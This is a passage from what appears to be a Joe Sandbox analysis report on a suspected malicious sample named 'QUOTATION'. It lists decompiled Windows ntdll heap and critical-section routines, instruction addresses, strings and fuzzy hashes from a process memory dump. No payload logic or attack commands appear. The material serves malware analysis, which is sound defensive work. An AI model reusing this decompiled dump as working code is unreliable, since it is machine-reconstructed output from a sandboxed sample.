							_t310 = 0;
							__eflags = 0;
							goto L98;
						}
					}
					E33768F40( &_v164, _t434, 0x5c);
					_t503 = _t503 + 0xc;
					_v172 = 0x80000000;
					_v168 = 0x64;
					if(_v233 == _t434) {
						_v156 =  *(_t499 + 0x7c) & 0x0000ffff;
						_v160 = 1;
						_v148 = _t499;
						_v152 =  *((intOrPtr*)( *[fs:0x30] + 0x88)) - 1;
						_v144 =  *((intOrPtr*)(_t499 + 0x1f4));
						_v140 =  *((intOrPtr*)(_t499 + 0x1f8)) -  *((intOrPtr*)(_t499 + 0x244));
						_v124 = E337CD7E5(_t499);
						_v120 =  *(_t499 + 0x74) << 3;
						_v128 =  *((intOrPtr*)(_t499 + 0x208));
						_v108 =  *((intOrPtr*)(_t499 + 0x200));
						_v132 =  *((intOrPtr*)(_t499 + 0x1fc));
						_v136 =  *((intOrPtr*)(_t499 + 0x204));
						_t422 =  *((intOrPtr*)(_t499 + 0x20c));
						_v104 = _t422;
						_v100 = _t422;
						_t423 =  *(_t499 + 0xb4);
						__eflags = _t423;
						if(_t423 != 0) {
							_t480 =  *((intOrPtr*)(_t423 + 0xc));
							_v116 = _t480;
							_t429 =  *_t423;
							__eflags = _t429;
							if(_t429 != 0) {
								_t431 =  *((intOrPtr*)(_t429 + 0xc)) + _t480;
								__eflags = _t431;
								_v116 = _t431;
							}
						}
						_t424 =  *(_t499 + 0xc8);
						_t478 =  *((intOrPtr*)(_t499 + 0x218));
						_v112 = _t478;
						__eflags = _t424;
						if(_t424 != 0) {
							_t427 =  *_t424;
							__eflags = _t427 - 0xffffffff;
							if(_t427 != 0xffffffff) {
								_t434 =  *(_t427 + 0x14);
							}
							_v112 = _t478 + _t434;
						}
					} else {
						_t482 =  &_v172;
						E337E92AB(_v212,  &_v172);
					}
					 *0x338191e0( &_v172, _v232);
					_t310 =  *_t484();
					goto L98;
				}
			}

0x337c9068
0x337c9075
0x337c907c
0x337c9081
0x337c9084
0x337c9086
0x337c9093
0x337c9096
0x337c909a
0x337c909e
0x337c90a2
0x337c90a9
0x337c90f8
0x337c90ff
0x337c9103
0x337c9107
0x00000000
0x337c9109
0x337c9109
0x00000000
0x337c9109
0x337c90ab
0x337c90ab
0x337c90b0
0x337c90b4
0x337c90ba
0x337c921d
0x337c9222
0x337c9225
0x337c922d
0x337c9235
0x337c9239
0x337c923d
0x337c925c
0x337c9260
0x337c926d
0x337c9277
0x337c9284
0x337c928e
0x337c928e
0x337c928e
0x337c9292
0x337c923f
0x337c9246
0x337c924a
0x337c9255
0x337c9255
0x337c9294
0x337c9296
0x337c9893
0x337c989a
0x337c989b
0x337c989c
0x337c98a7
0x337c929c
0x337c92a7
0x337c92ad
0x337c92af
0x337c92b1
0x00000000
0x00000000
0x337c92b7
0x337c92bb
0x337c92be
0x00000000
0x00000000
0x337c92c6
0x337c92cc
0x337c92cf
0x337c92d3
0x337c92d8
0x337c92d8
0x337c92da
0x337c92dd
0x337c92dd
0x337c92df
0x337c92e3
0x337c92e4
0x337c92ea
0x337c92ef
0x337c92f4
0x00000000
0x00000000
0x337c92fa
0x337c92fc
0x00000000
0x00000000
0x337c9302
0x337c9306
0x337c9309
0x337c947c
0x337c9482
0x337c961c
0x337c9622
0x337c9674
0x337c9679
0x337c9728
0x337c9728
0x337c972d
0x337c9731
0x00000000
0x00000000
0x337c9737
0x337c9737
0x337c973a
0x337c9805
0x337c980e
0x337c9811
0x337c9819
0x337c981d
0x337c9821
0x337c9829
0x337c9831
0x337c9834
0x337c9836
0x337c9836
0x337c983b
0x337c983f
0x337c9842
0x337c984d
0x337c9844
0x337c9846
0x337c9847
0x337c9847
0x337c9851
0x337c9857
0x337c985e
0x337c9864
0x00000000
0x00000000
0x337c9866
0x337c9866
0x00000000
0x337c9859
0x337c9859
0x337c9869
0x337c9869
0x337c986d
0x337c986d
0x337c9871
0x337c987c
0x337c9882
0x337c9884
0x337c9886
0x00000000
0x00000000
0x337c9888
0x337c9888
0x00000000
0x337c9888
0x337c9857
0x337c9744
0x337c9748
0x337c9755
0x337c975c
0x337c975d
0x337c9764
0x337c976b
0x337c9776
0x337c9781
0x337c9788
0x337c978a
0x337c978c
0x337c978c
0x337c9791
0x337c9798
0x337c979e
0x337c97a2
0x337c97a3
0x337c97a3
0x337c97aa
0x337c97ad
0x337c97af
0x337c97af
0x337c97b2
0x337c97b2
0x337c97bd
0x337c97c9
0x337c97d6
0x337c97de
0x337c97e5
0x337c97f0
0x00000000
0x337c97f0
0x337c967f
0x337c9683
0x337c9687
0x337c9693
0x337c9697
0x337c96b3
0x337c96b8
0x337c96bd
0x00000000
0x00000000
0x337c96cb
0x337c96d0
0x337c96d4
0x337c96e1
0x337c96ed
0x337c96f5
0x337c96fc
0x337c9704
0x337c970c
0x337c9714
0x337c971a
0x337c971c
0x337c971e
0x00000000
0x00000000
0x337c9724
0x00000000
0x337c9724
0x337c9689
0x337c968d
0x00000000
0x00000000
0x00000000
0x337c968d
0x337c9624
0x337c9629
0x337c962d
0x00000000
0x00000000
0x337c963b
0x337c9644
0x337c9647
0x337c964b
0x337c964f
0x337c9657
0x337c965f
0x337c9667
0x00000000
0x337c9667
0x337c9492
0x337c9497
0x337c949a
0x337c94a2
0x337c94a4
0x337c94ac
0x337c94b3
0x337c94b7
0x337c94f4
0x337c94f8
0x337c94fb
0x337c94ff
0x337c9503
0x337c9505
0x337c9507
0x337c9509
0x337c950f
0x337c950b
0x337c950b
0x337c950b
0x337c9509
0x337c9515
0x337c953d
0x337c953d
0x337c953f
0x00000000
0x00000000
0x337c9522
0x337c9524
0x337c952d
0x337c952f
0x337c952f
0x337c9531
0x337c953b
0x337c953b
0x00000000
0x337c953b
0x337c9533
0x337c9535
0x00000000
0x00000000
0x337c9537
0x00000000
0x337c9537
0x337c9526
0x00000000
0x00000000
0x337c9528
0x00000000
0x337c9528
0x337c9550
0x337c9557
0x337c9557
0x337c9559
0x337c9561
0x337c956a
0x337c9570
0x337c9574
0x337c9576
0x00000000
0x00000000
0x337c9584
0x337c9589
0x337c958c
0x337c9596
0x337c9597
0x337c959b
0x337c959f
0x337c95c1
0x337c95cd
0x337c95d8
0x337c95d8
0x337c95a1
0x337c95a1
0x337c95a8
0x337c95af
0x337c95b6
0x337c95b6
0x337c95e7
0x337c95ef
0x337c95f8
0x337c9601
0x337c9607
0x337c9609
0x337c960b
0x00000000
0x337c9611
0x337c9611
0x337c9615
0x00000000
0x337c9615
0x337c960b
0x337c94bd
0x337c94c0
0x337c94c4
0x337c94cd
0x337c94cd
0x337c94cd
0x337c94cf
0x337c94d4
0x337c94e0
0x337c94e7
0x337c94eb
0x00000000
0x337c94eb
0x337c930f
0x337c9314
0x337c933c
0x337c933c
0x337c9340
0x337c934a
0x337c934f
0x337c9353
0x337c935c
0x337c9368
0x337c9370
0x337c9377
0x337c937f
0x337c9387
0x337c938d
0x337c938f
0x337c9391
0x00000000
0x00000000
0x337c9397
0x337c939b
0x337c93ef
0x337c93f5
0x337c9400
0x337c9400
0x337c9406
0x337c9408
0x337c940c
0x337c9411
0x337c9411
0x337c9414
0x337c9418
0x337c9420
0x337c9425
0x337c9429
0x337c9436
0x337c9442
0x337c9449
0x337c9451
0x337c9459
0x337c9461
0x337c9465
0x337c946b
0x337c946d
0x337c946f
0x00000000
0x00000000
0x337c9475
0x00000000
0x337c9475
0x337c939d
0x337c93a5
0x337c93d6
0x337c93df
0x337c93e3
0x00000000
0x337c93e3
0x337c93a7
0x337c93c7
0x337c93cc
0x00000000
0x337c93cc
0x337c9316
0x337c931c
0x00000000
0x00000000
0x337c931e
0x337c9322
0x337c932c
0x337c9332
0x337c9338
0x337c9334
0x337c9334
0x337c9334
0x00000000
0x337c9332
0x337c9891
0x337c9891
0x00000000
0x337c9891
0x337c9296
0x337c90c8
0x337c90cd
0x337c90d0
0x337c90d8
0x337c90e4
0x337c9119
0x337c9123
0x337c912b
0x337c9136
0x337c9140
0x337c9150
0x337c9159
0x337c9166
0x337c9173
0x337c917d
0x337c918a
0x337c9194
0x337c9198
0x337c919e
0x337c91a5
0x337c91ac
0x337c91b2
0x337c91b4
0x337c91b6
0x337c91b9
0x337c91c0
0x337c91c2
0x337c91c4
0x337c91c9
0x337c91c9
0x337c91cb
0x337c91cb
0x337c91c4
0x337c91d2
0x337c91d8
0x337c91de
0x337c91e5
0x337c91e7
0x337c91e9
0x337c91eb
0x337c91ee
0x337c91f0
0x337c91f0
0x337c91f6
0x337c91f6
0x337c90e6
0x337c90ea
0x337c90ee
0x337c90ee
0x337c9208
0x337c920e
0x00000000
0x337c920e

APIs

RtlDebugPrintTimes.NTDLL ref: 337C9208
RtlDebugPrintTimes.NTDLL ref: 337C92A7
RtlDebugPrintTimes.NTDLL ref: 337C9387
RtlDebugPrintTimes.NTDLL ref: 337C9465
RtlDebugPrintTimes.NTDLL ref: 337C956A
RtlDebugPrintTimes.NTDLL ref: 337C9601
RtlDebugPrintTimes.NTDLL ref: 337C9714
RtlDebugPrintTimes.NTDLL ref: 337C987C

Strings

, xrefs: 337C9657
0, xrefs: 337C9776
, xrefs: 337C9704

Memory Dump Source

Source File: 00000008.00000002.4328211307.00000000336F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 336F0000, based on PE: true

Associated: 00000008.00000002.4328211307.0000000033819000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.4328211307.000000003381D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_336f0000_QUOTATION.jbxd

Similarity

API ID: DebugPrintTimes
String ID: $ $0
API String ID: 3446177414-3352262554
Opcode ID: 38bca7c6e12c42014136eadf6e0cd6b9a2532c19130f93f9bd4177e81fac0445
Instruction ID: c341d3d1ba785261df35bff6f63705b45741f7f1d6fc76685b278c84c1332ca0
Opcode Fuzzy Hash: 38bca7c6e12c42014136eadf6e0cd6b9a2532c19130f93f9bd4177e81fac0445
Instruction Fuzzy Hash: 933227B1A083818FE390CF68C484B9BBBE5BF89344F04492EF599CB251D775E949CB52

Uniqueness

Uniqueness Score: -1.00%

Function 33758540 Relevance: 17.7, Strings: 14, Instructions: 223COMMON

Download Yara Rule

Strings

Initialization stack trace. Use dps to dump it if non-NULL., xrefs: 33795215, 337952A1, 33795324
Address of the debug info found in the active list., xrefs: 337952B9, 33795305
Invalid debug info address of this critical section, xrefs: 337952C1
Critical section address., xrefs: 3379530D
Critical section address, xrefs: 33795230, 337952C7, 3379533F
Thread is in a state in which it cannot own a critical section, xrefs: 3379534E
Critical section debug info address, xrefs: 3379522A, 33795339
undeleted critical section in freed memory, xrefs: 33795236
double initialized or corrupted critical section, xrefs: 33795313
corrupted critical section, xrefs: 337952CD
First initialization stack trace. Use dps to dump it if non-NULL., xrefs: 337952ED
Second initialization stack trace. Use dps to dump it if non-NULL., xrefs: 337952D9
8, xrefs: 337950EE
Thread identifier, xrefs: 33795345

Memory Dump Source

Source File: 00000008.00000002.4328211307.00000000336F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 336F0000, based on PE: true

Associated: 00000008.00000002.4328211307.0000000033819000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.4328211307.000000003381D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_336f0000_QUOTATION.jbxd

Similarity

API ID:
String ID: 8$Address of the debug info found in the active list.$Critical section address$Critical section address.$Critical section debug info address$First initialization stack trace. Use dps to dump it if non-NULL.$Initialization stack trace. Use dps to dump it if non-NULL.$Invalid debug info address of this critical section$Second initialization stack trace. Use dps to dump it if non-NULL.$Thread identifier$Thread is in a state in which it cannot own a critical section$corrupted critical section$double initialized or corrupted critical section$undeleted critical section in freed memory
API String ID: 0-2368682639
Opcode ID: 49f7db9d8fe803fec4b954dfbb2064bbde245baa2183096c9effa4314330c458
Instruction ID: 576b7a4c6c0e78053d80fdda06d3b2c453e4ea676dc336733f20c196b4f1740b
Opcode Fuzzy Hash: 49f7db9d8fe803fec4b954dfbb2064bbde245baa2183096c9effa4314330c458
Instruction Fuzzy Hash: 2A8189B1E01718BFEB10CFA4C844B9EBBF9AB48355F244259F958AF241C7B1A941CF60

Uniqueness

Uniqueness Score: -1.00%

Function 337CFDF4 Relevance: 16.1, APIs: 1, Strings: 8, Instructions: 348
timeCOMMONCrypto

Download Yara Rule

C-Code - Quality: 64%

			E337CFDF4(void* __ebx, intOrPtr __ecx, signed int __edx, void* __edi, void* __esi, void* __eflags) {
				signed int _t130;
				signed int _t132;
				intOrPtr _t138;
				intOrPtr _t139;
				signed int _t149;
				signed int _t150;
				intOrPtr _t151;
				signed int _t152;
				intOrPtr _t155;
				intOrPtr _t159;
				intOrPtr _t172;
				signed int _t173;
				signed int _t174;
				signed char _t177;
				signed int _t178;
				signed int _t183;
				void* _t184;
				signed char _t192;
				signed int _t193;
				intOrPtr _t195;
				intOrPtr _t199;
				signed int _t209;
				signed int _t226;
				signed char _t236;
				intOrPtr _t240;
				signed int* _t248;
				signed int _t253;
				signed int _t255;
				signed int _t267;
				signed int _t278;
				signed int* _t279;
				intOrPtr* _t283;
				void* _t284;
				void* _t286;

				_push(0x40);
				_push(0x337fd430);
				E33777BE4(__ebx, __edi, __esi);
				_t281 = __ecx;
				 *((intOrPtr*)(_t284 - 0x3c)) = __ecx;
				 *((char*)(_t284 - 0x19)) = 0;
				 *(_t284 - 0x24) = 0;
				if(( *(__ecx + 0x44) & 0x01000000) == 0) {
					 *((intOrPtr*)(_t284 - 4)) = 0;
					 *((intOrPtr*)(_t284 - 4)) = 1;
					_t130 = E33717662("RtlReAllocateHeap");
					__eflags = _t130;
					if(_t130 == 0) {
						L72:
						 *(_t284 - 0x24) = 0;
						L73:
						 *((intOrPtr*)(_t284 - 4)) = 0;
						 *((intOrPtr*)(_t284 - 4)) = 0xfffffffe;
						E337D02E6(_t281);
						_t132 =  *(_t284 - 0x24);
						goto L75;
					}
					_t236 =  *(__ecx + 0x44) | __edx;
					 *(_t284 - 0x30) = _t236;
					 *(_t284 - 0x34) = _t236 | 0x10000100;
					__eflags =  *(_t284 + 0xc);
					if( *(_t284 + 0xc) == 0) {
						_t267 = 1;
						__eflags = 1;
					} else {
						_t267 =  *(_t284 + 0xc);
					}
					_t138 = ( *((intOrPtr*)(_t281 + 0x94)) + _t267 &  *(_t281 + 0x98)) + 8;
					 *((intOrPtr*)(_t284 - 0x40)) = _t138;
					__eflags = _t138 -  *(_t284 + 0xc);
					if(_t138 <  *(_t284 + 0xc)) {
						L68:
						_t139 =  *[fs:0x30];
						__eflags =  *(_t139 + 0xc);
						if( *(_t139 + 0xc) == 0) {
							_push("HEAP: ");
							E3371B910();
						} else {
							E3371B910("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
						}
						_push( *((intOrPtr*)(_t281 + 0x78)));
						E3371B910("Invalid allocation size - %Ix (exceeded %Ix)\n",  *(_t284 + 0xc));
						goto L72;
					}
					__eflags = _t138 -  *((intOrPtr*)(_t281 + 0x78));
					if(_t138 >  *((intOrPtr*)(_t281 + 0x78))) {
						goto L68;
					}
					 *(_t284 - 0x20) = 0;
					__eflags = _t236 & 0x00000001;
					if((_t236 & 0x00000001) == 0) {
						E3372FED0( *((intOrPtr*)(_t281 + 0xc8)));
						 *((char*)(_t284 - 0x19)) = 1;
						_t226 =  *(_t284 - 0x30) | 0x10000101;
						__eflags = _t226;
						 *(_t284 - 0x34) = _t226;
					}
					E337D0835(_t281, 0);
					_t277 =  *((intOrPtr*)(_t284 + 8));
					_t269 = _t277 - 8;
					__eflags =  *((char*)(_t269 + 7)) - 5;
					if( *((char*)(_t269 + 7)) == 5) {
						_t269 = _t269 - (( *(_t269 + 6) & 0x000000ff) << 3);
						__eflags = _t269;
					}
					 *(_t284 - 0x2c) = _t269;
					 *(_t284 - 0x28) = _t269;
					_t240 = _t281;
					_t149 = E3371753F(_t240, _t269, "RtlReAllocateHeap");
					__eflags = _t149;
					if(_t149 == 0) {
						L53:
						_t150 =  *(_t284 - 0x24);
						__eflags = _t150;
						if(_t150 == 0) {
							goto L73;
						}
						__eflags = _t150 -  *0x338147c8; // 0x0
						_t151 =  *[fs:0x30];
						if(__eflags != 0) {
							_t152 =  *(_t151 + 0x68);
							 *(_t284 - 0x48) = _t152;
							__eflags = _t152 & 0x00000800;
							if((_t152 & 0x00000800) == 0) {
								goto L73;
							}
							__eflags =  *(_t284 - 0x20) -  *0x338147cc; // 0x0
							if(__eflags != 0) {
								goto L73;
							}
							__eflags =  *((intOrPtr*)(_t281 + 0x7c)) -  *0x338147ce; // 0x0
							if(__eflags != 0) {
								goto L73;
							}
							_t155 =  *[fs:0x30];
							__eflags =  *(_t155 + 0xc);
							if( *(_t155 + 0xc) == 0) {
								_push("HEAP: ");
								E3371B910();
							} else {
								E3371B910("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
							}
							_push(E337C823A(_t281,  *(_t284 - 0x20)));
							_push( *(_t284 + 0xc));
							E3371B910("Just reallocated block at %p to 0x%Ix bytes with tag %ws\n",  *(_t284 - 0x24));
							L59:
							_t159 =  *[fs:0x30];
							__eflags =  *((char*)(_t159 + 2));
							if( *((char*)(_t159 + 2)) != 0) {
								 *0x338147a1 = 1;
								 *0x33814100 = 0;
								asm("int3");
								 *0x338147a1 = 0;
							}
							goto L73;
						}
						__eflags =  *(_t151 + 0xc);
						if( *(_t151 + 0xc) == 0) {
							_push("HEAP: ");
							E3371B910();
						} else {
							E3371B910("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
						}
						_push( *(_t284 + 0xc));
						E3371B910("Just reallocated block at %p to %Ix bytes\n",  *0x338147c8);
						goto L59;
					} else {
						__eflags = _t277 -  *0x338147c8; // 0x0
						_t172 =  *[fs:0x30];
						if(__eflags != 0) {
							_t173 =  *(_t172 + 0x68);
							 *(_t284 - 0x44) = _t173;
							__eflags = _t173 & 0x00000800;
							if((_t173 & 0x00000800) == 0) {
								L38:
								_t174 = E33732710(_t281,  *(_t284 - 0x34), _t277,  *(_t284 + 0xc));
								 *(_t284 - 0x24) = _t174;
								__eflags = _t174;
								if(_t174 != 0) {
									_t75 = _t174 - 8; // -8
									_t278 = _t75;
									__eflags =  *((char*)(_t278 + 7)) - 5;
									if( *((char*)(_t278 + 7)) == 5) {
										_t278 = _t278 - (( *(_t278 + 6) & 0x000000ff) << 3);
										__eflags = _t278;
									}
									_t248 = _t278;
									 *(_t284 - 0x28) = _t278;
									__eflags =  *(_t281 + 0x4c);
									if( *(_t281 + 0x4c) != 0) {
										 *_t278 =  *_t278 ^  *(_t281 + 0x50);
										__eflags =  *(_t278 + 3) - (_t248[0] ^ _t248[0] ^  *_t248);
										if(__eflags != 0) {
											_push(_t248);
											_t269 = _t278;
											E337DD646(0, _t281, _t278, _t278, _t281, __eflags);
										}
									}
									__eflags =  *(_t278 + 2) & 0x00000002;
									if(( *(_t278 + 2) & 0x00000002) == 0) {
										_t177 =  *(_t278 + 3);
										 *(_t284 - 0x1b) = _t177;
										_t178 = _t177 & 0x000000ff;
									} else {
										_t183 = E33753AE9(_t278);
										 *(_t284 - 0x30) = _t183;
										__eflags =  *(_t281 + 0x40) & 0x08000000;
										if(( *(_t281 + 0x40) & 0x08000000) == 0) {
											 *_t183 = 0;
										} else {
											_t184 = E3374FDB9(1, _t269);
											_t253 =  *(_t284 - 0x30);
											 *_t253 = _t184;
											_t183 = _t253;
										}
										_t178 =  *((intOrPtr*)(_t183 + 2));
									}
									 *(_t284 - 0x20) = _t178;
									__eflags =  *(_t281 + 0x4c);
									if( *(_t281 + 0x4c) != 0) {
										 *(_t278 + 3) =  *(_t278 + 2) ^  *(_t278 + 1) ^  *_t278;
										 *_t278 =  *_t278 ^  *(_t281 + 0x50);
										__eflags =  *_t278;
									}
								}
								E337D0D24(_t281);
								__eflags = 0;
								E337D0835(_t281, 0);
								goto L53;
							}
							__eflags =  *0x338147cc;
							if( *0x338147cc == 0) {
								goto L38;
							}
							_t279 =  *(_t284 - 0x28);
							_t269 =  *(_t284 - 0x2c);
							__eflags =  *(_t281 + 0x4c);
							if( *(_t281 + 0x4c) != 0) {
								 *_t279 =  *_t279 ^  *(_t281 + 0x50);
								__eflags = _t279[0] - ( *(_t269 + 2) ^  *(_t269 + 1) ^  *_t269);
								if(__eflags != 0) {
									_push(_t240);
									E337DD646(0, _t281, _t279, _t279, _t281, __eflags);
									_t269 =  *(_t284 - 0x2c);
								}
							}
							__eflags = _t279[0] & 0x00000002;
							if((_t279[0] & 0x00000002) == 0) {
								_t192 = _t279[0];
								 *(_t284 - 0x1a) = _t192;
								_t193 = _t192 & 0x000000ff;
							} else {
								_t209 = E33753AE9(_t279);
								 *(_t284 - 0x30) = _t209;
								_t193 =  *(_t209 + 2) & 0x0000ffff;
							}
							_t255 = _t193;
							 *(_t284 - 0x20) = _t193;
							__eflags =  *(_t281 + 0x4c);
							if( *(_t281 + 0x4c) != 0) {
								_t279[0] =  *(_t269 + 2) ^  *(_t269 + 1) ^  *_t269;
								 *_t279 =  *_t279 ^  *(_t281 + 0x50);
								__eflags =  *_t279;
							}
							__eflags = _t255;
							if(_t255 == 0) {
								L37:
								_t277 =  *((intOrPtr*)(_t284 + 8));
							} else {
								__eflags = _t255 -  *0x338147cc; // 0x0
								if(__eflags != 0) {
									goto L37;
								}
								__eflags =  *((intOrPtr*)(_t281 + 0x7c)) -  *0x338147ce; // 0x0
								if(__eflags != 0) {
									goto L37;
								}
								_t195 =  *[fs:0x30];
								__eflags =  *(_t195 + 0xc);
								if( *(_t195 + 0xc) == 0) {
									_push("HEAP: ");
									E3371B910();
								} else {
									E3371B910("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
								}
								_t269 =  *(_t284 - 0x20);
								_push(E337C823A(_t281,  *(_t284 - 0x20)));
								_push( *(_t284 + 0xc));
								_t277 =  *((intOrPtr*)(_t284 + 8));
								E3371B910("About to rellocate block at %p to 0x%Ix bytes with tag %ws\n",  *((intOrPtr*)(_t284 + 8)));
								_t286 = _t286 + 0x10;
								L18:
								_t199 =  *[fs:0x30];
								__eflags =  *((char*)(_t199 + 2));
								if( *((char*)(_t199 + 2)) != 0) {
									 *0x338147a1 = 1;
									 *0x33814100 = 0;
									asm("int3");
									 *0x338147a1 = 0;
								}
							}
							goto L38;
						}
						__eflags =  *(_t172 + 0xc);
						if( *(_t172 + 0xc) == 0) {
							_push("HEAP: ");
							E3371B910();
						} else {
							E3371B910("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
						}
						_push( *(_t284 + 0xc));
						E3371B910("About to reallocate block at %p to %Ix bytes\n",  *0x338147c8);
						_t286 = _t286 + 0xc;
						goto L18;
					}
				} else {
					_t283 =  *0x3381374c; // 0x0
					 *0x338191e0(__ecx, __edx,  *((intOrPtr*)(_t284 + 8)),  *(_t284 + 0xc));
					_t132 =  *_t283();
					L75:
					 *[fs:0x0] =  *((intOrPtr*)(_t284 - 0x10));
					return _t132;
				}
			}

0x337cfdf4
0x337cfdf6
0x337cfdfb
0x337cfe02
0x337cfe04
0x337cfe09
0x337cfe0c
0x337cfe16
0x337cfe35
0x337cfe38
0x337cfe46
0x337cfe4b
0x337cfe4d
0x337d0277
0x337d0277
0x337d027a
0x337d027a
0x337d02c2
0x337d02c9
0x337d02ce
0x00000000
0x337d02ce
0x337cfe56
0x337cfe58
0x337cfe62
0x337cfe65
0x337cfe69
0x337cfe72
0x337cfe72
0x337cfe6b
0x337cfe6b
0x337cfe6b
0x337cfe81
0x337cfe84
0x337cfe87
0x337cfe8a
0x337d0231
0x337d0231
0x337d0237
0x337d023a
0x337d0259
0x337d025e
0x337d023c
0x337d0251
0x337d0256
0x337d0264
0x337d026f
0x00000000
0x337d0274
0x337cfe90
0x337cfe93
0x00000000
0x00000000
0x337cfe9b
0x337cfe9f
0x337cfea2
0x337cfeaa
0x337cfeaf
0x337cfeb6
0x337cfeb6
0x337cfebb
0x337cfebb
0x337cfec2
0x337cfec7
0x337cfeca
0x337cfecd
0x337cfed1
0x337cfeda
0x337cfeda
0x337cfeda
0x337cfedc
0x337cfedf
0x337cfee7
0x337cfee9
0x337cfeee
0x337cfef0
0x337d0122
0x337d0122
0x337d0125
0x337d0127
0x00000000
0x00000000
0x337d012d
0x337d0133
0x337d0139
0x337d01a7
0x337d01aa
0x337d01ad
0x337d01b2
0x00000000
0x00000000
0x337d01bc
0x337d01c3
0x00000000
0x00000000
0x337d01cd
0x337d01d4
0x00000000
0x00000000
0x337d01da
0x337d01e0
0x337d01e3
0x337d0202
0x337d0207
0x337d01e5
0x337d01fa
0x337d01ff
0x337d0218
0x337d0219
0x337d0224
0x337d017e
0x337d017e
0x337d0184
0x337d0188
0x337d018e
0x337d0195
0x337d019b
0x337d019c
0x337d019c
0x00000000
0x337d0188
0x337d013b
0x337d013e
0x337d015d
0x337d0162
0x337d0140
0x337d0155
0x337d015a
0x337d0168
0x337d0176
0x00000000
0x337cfef6
0x337cfef6
0x337cfefc
0x337cff02
0x337cff70
0x337cff73
0x337cff76
0x337cff7b
0x337d0068
0x337d0070
0x337d0075
0x337d0078
0x337d007a
0x337d0080
0x337d0080
0x337d0083
0x337d0087
0x337d0090
0x337d0090
0x337d0090
0x337d0092
0x337d0094
0x337d0097
0x337d009a
0x337d009f
0x337d00a9
0x337d00ac
0x337d00ae
0x337d00af
0x337d00b3
0x337d00b3
0x337d00ac
0x337d00b8
0x337d00bc
0x337d00ec
0x337d00ef
0x337d00f2
0x337d00be
0x337d00c0
0x337d00c5
0x337d00ca
0x337d00d1
0x337d00e3
0x337d00d3
0x337d00d4
0x337d00d9
0x337d00dc
0x337d00df
0x337d00df
0x337d00e6
0x337d00e6
0x337d00f5
0x337d00f9
0x337d00fc
0x337d0108
0x337d010e
0x337d010e
0x337d010e
0x337d00fc
0x337d0114
0x337d0119
0x337d011d
0x00000000
0x337d011d
0x337cff81
0x337cff88
0x00000000
0x00000000
0x337cff8e
0x337cff91
0x337cff94
0x337cff97
0x337cff9c
0x337cffa6
0x337cffa9
0x337cffab
0x337cffb0
0x337cffb5
0x337cffb5
0x337cffa9
0x337cffb8
0x337cffbc
0x337cffce
0x337cffd1
0x337cffd4
0x337cffbe
0x337cffc0
0x337cffc5
0x337cffc8
0x337cffc8
0x337cffd7
0x337cffd9
0x337cffdd
0x337cffe0
0x337cffea
0x337cfff0
0x337cfff0
0x337cfff0
0x337cfff2
0x337cfff5
0x337d0065
0x337d0065
0x337cfff7
0x337cfff7
0x337cfffe
0x00000000
0x00000000
0x337d0004
0x337d000b
0x00000000
0x00000000
0x337d000d
0x337d0013
0x337d0016
0x337d0035
0x337d003a
0x337d0018
0x337d002d
0x337d0032
0x337d0040
0x337d004b
0x337d004c
0x337d004f
0x337d0058
0x337d005d
0x337cff47
0x337cff47
0x337cff4d
0x337cff51
0x337cff57
0x337cff5e
0x337cff64
0x337cff65
0x337cff65
0x337cff51
0x00000000
0x337cfff5
0x337cff04
0x337cff07
0x337cff26
0x337cff2b
0x337cff09
0x337cff1e
0x337cff23
0x337cff31
0x337cff3f
0x337cff44
0x00000000
0x337cff44
0x337cfe18
0x337cfe20
0x337cfe28
0x337cfe2e
0x337d02d1
0x337d02d4
0x337d02e0
0x337d02e0

APIs

RtlDebugPrintTimes.NTDLL ref: 337CFE28

Strings

Just reallocated block at %p to 0x%Ix bytes with tag %ws, xrefs: 337D021F
RtlReAllocateHeap, xrefs: 337CFE3F, 337CFEE2
Invalid allocation size - %Ix (exceeded %Ix), xrefs: 337D026A
Just reallocated block at %p to %Ix bytes, xrefs: 337D0171
About to rellocate block at %p to 0x%Ix bytes with tag %ws, xrefs: 337D0053
About to reallocate block at %p to %Ix bytes, xrefs: 337CFF3A
HEAP: , xrefs: 337CFF26, 337D0035, 337D015D, 337D0202, 337D0259
HEAP[%wZ]: , xrefs: 337CFF19, 337D0028, 337D0150, 337D01F5, 337D024C

Memory Dump Source

Source File: 00000008.00000002.4328211307.00000000336F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 336F0000, based on PE: true

Associated: 00000008.00000002.4328211307.0000000033819000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.4328211307.000000003381D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_336f0000_QUOTATION.jbxd

Similarity

API ID: DebugPrintTimes
String ID: About to reallocate block at %p to %Ix bytes$About to rellocate block at %p to 0x%Ix bytes with tag %ws$HEAP: $HEAP[%wZ]: $Invalid allocation size - %Ix (exceeded %Ix)$Just reallocated block at %p to %Ix bytes$Just reallocated block at %p to 0x%Ix bytes with tag %ws$RtlReAllocateHeap
API String ID: 3446177414-1700792311
Opcode ID: 221c5846272b67197c1ea11948a2c367dfe2efab0627074ce8495eec3d545040
Instruction ID: 0a0e4e42cc33cfa08f364c0243a0584340f2b17f9d1396b8f4059ef6f2b5607a
Opcode Fuzzy Hash: 221c5846272b67197c1ea11948a2c367dfe2efab0627074ce8495eec3d545040
Instruction Fuzzy Hash: 01D1E336A01789EFDB01DFA4C448AADBBF2FF49710F488559E484AF652C739E942DB10

Uniqueness

Uniqueness Score: -1.00%

Function 3371D2EC Relevance: 12.8, Strings: 10, Instructions: 312
COMMONCrypto

Download Yara Rule

C-Code - Quality: 89%

